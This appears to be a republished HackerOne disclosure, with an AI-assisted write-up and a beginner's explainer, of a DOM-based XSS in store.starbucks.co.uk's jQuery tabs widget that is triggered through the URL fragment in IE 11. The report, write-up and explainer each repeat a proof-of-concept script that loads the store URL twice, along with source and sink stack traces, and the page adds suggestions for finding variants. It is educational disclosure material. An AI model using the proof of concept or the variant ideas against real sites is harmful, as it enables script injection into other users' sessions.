Skip to content
XSS Disclosed report Intermediate

DOM-based XSS in store.starbucks.co.uk on IE 11

A DOM-based cross-site scripting flaw existed in the jQuery parseHTML sink on several Starbucks store domains, triggered by a crafted URL fragment. An attacker could run script in the victim's browser, but only in Internet Explorer 11 and only after the victim visited the same URL twice.

James Kettle Follow

Originally disclosed on HackerOne

  • Triaged in 24 days
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 4 months

We've found DOM XSS on store.starbucks.co.uk and other related domains such as store.starbucks.fr and store.starbucks.ca. It appears to be a JQuery based DOM XSS in the parseHTML sink. In order to trigger the XSS you need to use IE11 and the PoC will visit the url first, wait 5 seconds and then revisit the same url to trigger the XSS.

Here is the PoC:

<script> function poc() { var url = 'https://store.starbucks.co.uk/#', win = window.open(url); setTimeout(function(){win.location=url}, 5000); } </script>

<a href="#" onclick="poc();">PoC visit using IE11</a>

It may be possible to make this PoC work in Edge, too. Here is a stacktrace of where the source is accessed:

Error at Object.get hash [as hash] (<anonymous>:1:29568) at Object.initialize (eval at <anonymous> (:1:31716), <anonymous>:1:2524) at HTMLDivElement.eval (eval at <anonymous> (:1:31716), <anonymous>:1:6085) at Function.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:28:379) at a.fn.init.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:22:134) at a.fn.init.$.fn.tabs (eval at <anonymous> (:1:31716), <anonymous>:1:765) at HTMLDocument.<anonymous> (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:528:82) at r (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:69:440) at Object.fireWith [as resolveWith] (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:71:228) at Function.ready (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:24:415) at HTMLDocument.ga (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:19:386) Here is a stack trace of where the sink is executed:

Error at HTMLDivElement.set [as innerHTML] (<anonymous>:1:41512) at Function.buildFragment (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:136:359) at Function.parseHTML (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:26:309) at a.fn.init (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:193:56) at g (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:18:396) at Object.initialize (eval at <anonymous> (:1:31716), <anonymous>:1:2495) at HTMLDivElement.eval (eval at <anonymous> (:1:31716), <anonymous>:1:6085) at Function.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:28:379) at a.fn.init.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:22:134) at a.fn.init.$.fn.tabs (eval at <anonymous> (:1:31716), <anonymous>:1:765) at HTMLDocument.<anonymous> (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:528:82) at r (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:69:440) at Object.fireWith [as resolveWith] (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:71:228) at Function.ready (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:24:415) at HTMLDocument.ga (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:19:386)

Attachments

Screen_Shot_2017-06-20_at_10.08.32.png
Screen_Shot_2017-06-20_at_10.08.32.png From the original on HackerOne

The original report as published on HackerOne, by albinowax. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

The target is the Starbucks online store, specifically store.starbucks.co.uk, with the same issue reported on related regional domains such as store.starbucks.fr and store.starbucks.ca. The affected feature is the jQuery-based tabs widget that runs on page load, with its code served from /on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js.

The bug is a DOM-based cross-site scripting issue in the parseHTML sink. The value that reaches the sink is read through a get hash accessor, so the payload lives in the URL fragment.

Setup

The key precondition is the browser: the proof of concept requires Internet Explorer 11. The report also notes that it may be possible to make the PoC work in Edge, but that is stated as a possibility, not a confirmed result.

The second precondition is timing. The PoC does not fire on the first load of the crafted URL. It opens the URL, waits five seconds, and then navigates the same window to the same URL again. Only the second visit triggers the XSS.

No accounts, roles or special tooling are described beyond a browser and a page hosting the PoC.

Finding it

The researcher identified a jQuery-based DOM XSS in the parseHTML sink on store.starbucks.co.uk and the related regional storefronts. Two stack traces were captured to show the data flow: one where the source (location.hash) is read, and one where the sink (innerHTML via parseHTML) is executed.

The source is accessed through a get hash accessor:

Text
Error
    at Object.get hash [as hash] (<anonymous>:1:29568)
    at Object.initialize (eval at <anonymous> (:1:31716), <anonymous>:1:2524)
    at HTMLDivElement.eval (eval at <anonymous> (:1:31716), <anonymous>:1:6085)
    at Function.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:28:379)
    at a.fn.init.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:22:134)
    at a.fn.init.$.fn.tabs (eval at <anonymous> (:1:31716), <anonymous>:1:765)
    at HTMLDocument.<anonymous> (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:528:82)
    at r (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:69:440)
    at Object.fireWith [as resolveWith] (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:71:228)
    at Function.ready (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:24:415)
    at HTMLDocument.ga (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:19:386)

The sink is reached through innerHTML, which is set inside buildFragment, called from parseHTML:

Text
Error
    at HTMLDivElement.set [as innerHTML] (<anonymous>:1:41512)
    at Function.buildFragment (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:136:359)
    at Function.parseHTML (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:26:309)
    at a.fn.init (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:193:56)
    at g (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:18:396)
    at Object.initialize (eval at <anonymous> (:1:31716), <anonymous>:1:2495)
    at HTMLDivElement.eval (eval at <anonymous> (:1:31716), <anonymous>:1:6085)
    at Function.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:28:379)
    at a.fn.init.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:22:134)
    at a.fn.init.$.fn.tabs (eval at <anonymous> (:1:31716), <anonymous>:1:765)
    at HTMLDocument.<anonymous> (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:528:82)
    at r (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:69:440)
    at Object.fireWith [as resolveWith] (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:71:228)
    at Function.ready (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:24:415)
    at HTMLDocument.ga (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:19:386)

Read together, the traces show the tabs plugin ($.fn.tabs) running on document ready, iterating over elements with each, calling initialize, which reads location.hash and passes it into a jQuery constructor, which goes through parseHTML and buildFragment and finally assigns to innerHTML. Because the value is taken from the fragment, server-side filtering of the URL would not address it.

Exploitation

Step 1: host the PoC page

The PoC is a small HTML page with a script and a link. The link calls poc() when clicked.

HTML
<script>
function poc() {
        var url = 'https://store.starbucks.co.uk/#{{media:0}}',
            win = window.open(url);
        setTimeout(function(){win.location=url}, 5000);
}
</script>
<a href="#" onclick="poc();">PoC visit using IE11</a>

The url variable holds the target storefront URL with the payload in the fragment. window.open(url) performs the first visit. The setTimeout callback then reassigns win.location to the same URL after 5000 milliseconds, which is the second visit that actually triggers the XSS.

Step 2: open the page in IE 11 and click the link

The researcher's instruction is to use IE 11 and click the link labelled PoC visit using IE11. The first load does not fire the payload; the second navigation, five seconds later, does. The reason for the two-visit behaviour is not explained in the report.

Root cause

The tabs widget reads location.hash and feeds it into a jQuery constructor, which routes the string through parseHTML and buildFragment and ultimately sets innerHTML. Any markup in the fragment is therefore parsed and inserted into the DOM as HTML rather than treated as text. The traces show the source (Object.get hash) and the sink (HTMLDivElement.set [as innerHTML]) in the same call chain, which is the definition of a DOM-based XSS.

The report does not describe any client-side encoding or sanitisation between the hash read and the innerHTML assignment.

Impact

The issue is rated low severity (CVSS 2.4). It requires the victim to use IE 11 (with Edge only a possibility per the report), to visit an attacker-controlled page, and to have the crafted URL loaded twice in the same window with a delay between visits. Under those conditions, script runs in the origin of the affected storefront. The report does not describe any specific data or action that was demonstrated.

Fix

The appropriate fix is to stop passing location.hash into a jQuery HTML-parsing path: treat the fragment as plain text, or validate it against an expected format before use, so that it can never reach innerHTML as markup.

Variants to test

  1. Check the same tabs widget on other regional storefronts. The report names store.starbucks.fr and store.starbucks.ca as affected, so a positive result is the same two-visit trigger firing on those domains.
  2. Try the PoC in Edge. The report says it may be possible; a positive result is the payload executing there without the IE 11 requirement.
  3. Look for other jQuery plugins on the same site that read location.hash or location.search and pass the value to parseHTML, .html() or innerHTML. A positive result is a stack trace where a location accessor and an innerHTML assignment appear in the same call chain.
  4. Test whether the five-second delay can be shortened or removed on other targets. A positive result is the payload firing on the first load, which would make the bug easier to weaponise.

Attachments

Screen_Shot_2017-06-20_at_10.08.32.png
Screen_Shot_2017-06-20_at_10.08.32.png From the original on HackerOne

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a way to make the Starbucks online store run code that an attacker chooses, inside the visitor's own browser. The trick lives entirely in the address bar: the part of a web address after the # symbol. The store's page reads that part and passes it into a jQuery HTML-parsing path that ends at innerHTML. That class of bug is called cross-site scripting, or XSS.

The value is read in the browser, so server-side cleaning of incoming requests would not address it. The researcher showed the problem on store.starbucks.co.uk and said the same issue was present on related regional stores such as store.starbucks.fr and store.starbucks.ca.

The proof of concept requires Internet Explorer 11, and it needs two visits to the same address, five seconds apart. The report notes that Edge might also be affected, but that is presented as a possibility, not a confirmed result.

Background ideas you need first

A few everyday ideas make the rest of this easy to follow.

  • Web address and fragment. A web address like https://store.starbucks.co.uk/#something has two halves. Everything before the # is sent to the server. Everything after the # is called the fragment (or hash) and stays in the browser. Think of the fragment as a sticky note you keep in your own pocket: the shop you are visiting never reads it.
  • HTML and the DOM. HTML is the markup that describes a page: headings, links, buttons. The browser turns that markup into a live tree of objects called the DOM (Document Object Model). Scripts can read and change that tree while the page is open.
  • JavaScript. The programming language that runs inside the browser and makes pages interactive. A page can include scripts from the site itself or from other places.
  • jQuery. A widely used JavaScript library that makes common tasks shorter, such as finding elements on a page or inserting new HTML. The traces show jQuery code on the storefront.
  • Source and sink. In security terms, a source is where untrusted data enters a program, and a sink is a dangerous operation that the data eventually reaches. If data can travel from a source to a sink without being made safe, you have a bug. Here the source is the fragment and the sink is innerHTML.
  • innerHTML. A property on a DOM element. Setting it tells the browser: "take this string and build real HTML elements out of it." If the string contains a <script> tag or an event handler such as onerror, the browser may execute it. That is why innerHTML is a classic sink.
  • DOM-based XSS. XSS where the whole flow, from reading the bad value to executing it, happens in the browser. The server is not involved, so server-side filters cannot help.
  • Stack trace. When a program hits an error, the browser can print the chain of function calls that led there, newest first. It is like a receipt showing every step that brought you to the till. Researchers use stack traces to prove where data came from and where it ended up.
  • Static assets. Files such as JavaScript that the server delivers unchanged. The JavaScript file involved here is served from a path under /on/demandware.static/.
  • Tabs widget. A common page component: a row of tab labels, and clicking one shows the matching panel. The store's tabs are implemented as a jQuery plugin, $.fn.tabs.

The setup

Two conditions must be met before anything happens.

  1. Browser. The proof of concept requires Internet Explorer 11. The report adds that it may be possible to make it work in Edge, but does not confirm it.
  2. Timing. The payload does not fire on the first load of the crafted address. The page must be opened, left for five seconds, and then navigated to the same address again in the same window. Only the second visit triggers the script.

No accounts, logins or special tools are involved. You need a browser and a small page that hosts the proof of concept.

Finding it

The researcher identified a jQuery-based DOM XSS in the parseHTML sink on store.starbucks.co.uk and the related regional storefronts. To show the data flow, two stack traces were captured: one where the fragment is read, and one where the dangerous operation runs.

Trace 1: where the fragment is read

Text
Error
    at Object.get hash [as hash] (<anonymous>:1:29568)
    at Object.initialize (eval at <anonymous> (:1:31716), <anonymous>:1:2524)
    at HTMLDivElement.eval (eval at <anonymous> (:1:31716), <anonymous>:1:6085)
    at Function.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:28:379)
    at a.fn.init.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:22:134)
    at a.fn.init.$.fn.tabs (eval at <anonymous> (:1:31716), <anonymous>:1:765)
    at HTMLDocument.<anonymous> (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:528:82)
    at r (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:69:440)
    at Object.fireWith [as resolveWith] (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:71:228)
    at Function.ready (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:24:415)
    at HTMLDocument.ga (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:19:386)

Read it from the bottom up, because the bottom is where the story starts.

  • The last line, HTMLDocument.ga, is the browser's own machinery for firing the "document is ready" event, which happens once the page has been parsed.
  • Function.ready and Object.fireWith are jQuery's way of running callbacks when that event arrives.
  • HTMLDocument.<anonymous> is the site's own callback, which calls the tabs plugin.
  • a.fn.init.$.fn.tabs is the tabs plugin starting up. each then loops over the elements the plugin manages.
  • HTMLDivElement.eval and Object.initialize are the plugin's initialisation code, which was loaded via eval (a JavaScript function that runs a string as code), hence the <anonymous> file names.
  • The top line, Object.get hash [as hash], is the moment the code reads the fragment from the address bar. This is the source.

So the fragment is read while the tabs widget is being set up, automatically, as soon as the page loads. The visitor does not have to click anything.

Trace 2: where the dangerous operation runs

Text
Error
    at HTMLDivElement.set [as innerHTML] (<anonymous>:1:41512)
    at Function.buildFragment (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:136:359)
    at Function.parseHTML (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:26:309)
    at a.fn.init (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:193:56)
    at g (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:18:396)
    at Object.initialize (eval at <anonymous> (:1:31716), <anonymous>:1:2495)
    at HTMLDivElement.eval (eval at <anonymous> (:1:31716), <anonymous>:1:6085)
    at Function.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:28:379)
    at a.fn.init.each (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:22:134)
    at a.fn.init.$.fn.tabs (eval at <anonymous> (:1:31716), <anonymous>:1:765)
    at HTMLDocument.<anonymous> (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:528:82)
    at r (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:69:440)
    at Object.fireWith [as resolveWith] (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:71:228)
    at Function.ready (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:24:415)
    at HTMLDocument.ga (https://store.starbucks.co.uk/on/demandware.static/Sites-StarbucksUK-Site/-/en_GB/v1497508834714/js/generic.min.js:19:386)

Again, start at the bottom. The first ten lines are identical to the first trace: the page becomes ready, the tabs plugin starts, it loops over elements, and it calls initialize. Then the paths diverge.

  • g and a.fn.init are jQuery's constructor, the function that turns a string into elements.
  • Function.parseHTML is jQuery's helper for turning an HTML string into DOM nodes.
  • Function.buildFragment is the internal step that actually builds those nodes.
  • The top line, HTMLDivElement.set [as innerHTML], is the browser being told to set an element's innerHTML. This is the sink.

Put the two traces side by side and the whole bug is visible: the same initialize function reads the fragment and passes it into jQuery, which parses it as HTML and writes it into the page. Because the value comes from the fragment, the server never sees it, so no server-side filtering of the URL can stop it.

Exploitation

Step 1: host the proof of concept page

The proof of concept is a small HTML page containing a script and a link. Clicking the link runs the poc() function.

HTML
<script>
function poc() {
        var url = 'https://store.starbucks.co.uk/#{{media:0}}',
            win = window.open(url);
        setTimeout(function(){win.location=url}, 5000);
}
</script>
<a href="#" onclick="poc();">PoC visit using IE11</a>

Line by line:

  • <script> opens a block of JavaScript that the browser will run.
  • function poc() { defines a function named poc. Nothing happens yet; it only runs when called.
  • var url = 'https://store.starbucks.co.uk/#', stores the target address in a variable called url. The address is the real storefront, with the payload placed after the #. Because it is after the #, it is a fragment and is never sent to the server.
  • win = window.open(url); opens that address in a new window and keeps a handle to it in a variable called win. This is the first visit.
  • setTimeout(function(){win.location=url}, 5000); schedules a small function to run after 5000 milliseconds, which is five seconds. That function sets the window's location to the same address again. This is the second visit, and it is the one that triggers the script.
  • } closes the function.
  • </script> ends the script block.
  • <a href="#" onclick="poc();">PoC visit using IE11</a> is a link. Clicking it calls poc(). The label tells the tester which browser to use.

The two visits are the whole point. The first load does not fire the payload; the second load, five seconds later, triggers the script. The report does not explain why two visits are needed.

Step 2: open the page in IE 11 and click the link

Open the page hosting the proof of concept in Internet Explorer 11 and click the link labelled PoC visit using IE11. The first load of the storefront does not fire the payload. Five seconds later the same window navigates to the same address again, and that second visit triggers the script.

Root cause

The tabs widget reads location.hash and feeds it into a jQuery constructor. jQuery routes the string through parseHTML and buildFragment, and finally assigns it to innerHTML. Any markup in the fragment is therefore parsed and inserted into the page as real HTML, not shown as text. The two traces show the source (Object.get hash) and the sink (HTMLDivElement.set [as innerHTML]) in the same call chain, which is exactly what makes this a DOM-based XSS.

Because the payload never leaves the browser, server-side input handling cannot stop it. The report does not describe any encoding or sanitisation between reading the fragment and assigning it to innerHTML.

Impact

The issue is rated low severity, with a CVSS score of 2.4. To be affected, a victim must use Internet Explorer 11 (Edge is only a possibility according to the report), visit an attacker-controlled page, and have the crafted address loaded twice in the same window with a delay between the visits. When those conditions are met, script runs in the origin of the affected storefront.

Fix

The appropriate fix is to stop passing location.hash into a jQuery HTML-parsing path: treat the fragment as plain text, or check it against an expected format before use, so that it can never reach innerHTML as markup.

Variants to test

  1. Check the same tabs widget on other regional storefronts. The report names store.starbucks.fr and store.starbucks.ca as affected, so a positive result is the same two-visit trigger firing on those domains.
  2. Try the proof of concept in Edge. The report says it may be possible; a positive result is the payload executing there without the Internet Explorer 11 requirement.
  3. Look for other jQuery plugins on the same site that read location.hash or location.search and pass the value to parseHTML, .html() or innerHTML. A positive result is a stack trace where a location accessor and an innerHTML assignment appear in the same call chain.
  4. Test whether the five-second delay can be shortened or removed on other targets. A positive result is the payload firing on the first load, which would make the bug easier to weaponise.

Attachments

Screen_Shot_2017-06-20_at_10.08.32.png
Screen_Shot_2017-06-20_at_10.08.32.png From the original on HackerOne

Glossary

  • Browser: the program you use to view web pages, such as Internet Explorer, Edge, Chrome or Firefox.
  • Fragment (hash): the part of a web address after the # symbol. It stays in the browser and is never sent to the server.
  • HTML: the markup language used to describe the structure of a web page.
  • DOM (Document Object Model): the live tree of objects a browser builds from HTML, which scripts can read and change.
  • JavaScript: the programming language that runs inside the browser to make pages interactive.
  • jQuery: a popular JavaScript library that simplifies tasks such as finding elements and inserting HTML.
  • Source: in security, the place where untrusted data enters a program.
  • Sink: a dangerous operation that untrusted data can reach, such as writing HTML into the page.
  • innerHTML: a DOM property that tells the browser to build real HTML elements from a string. It is a classic sink for XSS.
  • XSS (cross-site scripting): a bug where an attacker gets their own script to run inside another site's page, with that site's trust.
  • DOM-based XSS: XSS where the whole flow, from reading the bad value to executing it, happens in the browser, so the server is not involved.
  • Stack trace: the chain of function calls a program prints when an error occurs, newest first.
  • eval: a JavaScript function that runs a string as code. Code loaded this way shows up as <anonymous> in stack traces.
  • Demandware: the e-commerce platform the storefront is built on, which serves the site's static files.
  • Static assets: files such as JavaScript and images that the server delivers unchanged, rather than generating them per request.
  • Tabs widget: a page component with tab labels and matching panels, implemented here as a jQuery plugin, $.fn.tabs.
  • parseHTML: a jQuery helper that turns an HTML string into DOM nodes.
  • buildFragment: the internal jQuery step that actually builds those nodes.
  • location.hash: the JavaScript property that holds the fragment of the current address.
  • setTimeout: a JavaScript function that runs another function after a given delay in milliseconds.
  • window.open: a JavaScript function that opens a web address in a new window and returns a handle to it.
  • Proof of concept (PoC): a small, controlled demonstration that a bug is real.
  • CVSS: a standard scoring system for the severity of a security issue. Higher numbers mean more severe.
  • Origin: the combination of scheme, host and port that a browser uses to decide which pages may interact with each other.
  • Session: the state a site keeps for a logged-in visitor, usually tied to a cookie or token, so the site knows who you are between requests.
  • Sanitisation: cleaning untrusted input so that dangerous characters or markup cannot do harm.
  • Encoding: converting characters into a safe representation so they are treated as text rather than as code.

More by James Kettle

View all

18 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.